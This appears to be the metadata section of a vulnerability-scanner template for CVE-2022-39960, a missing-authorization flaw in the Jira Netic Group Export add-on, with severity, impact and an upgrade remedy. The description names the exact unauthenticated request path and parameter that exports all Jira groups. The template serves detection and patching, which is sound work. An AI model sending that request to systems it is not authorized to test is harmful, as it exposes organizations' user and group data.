Jira Netic Group Export <1.0.3 - Missing Authorization

id: CVE-2022-39960

info:
  name: Jira Netic Group Export <1.0.3 - Missing Authorization
  author: For3stCo1d
  severity: medium
  description: |
    Jira Netic Group Export add-on before 1.0.3 contains a missing authorization vulnerability. The add-on does not perform authorization checks, which can allow an unauthenticated user to export all groups from the Jira instance by making a groupexport_download=true request to a plugins/servlet/groupexportforjira/admin/ URI and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive data.
  remediation: |
    Upgrade to Jira Netic Group Export version 1.0.3 or later to fix the missing authorization issue.
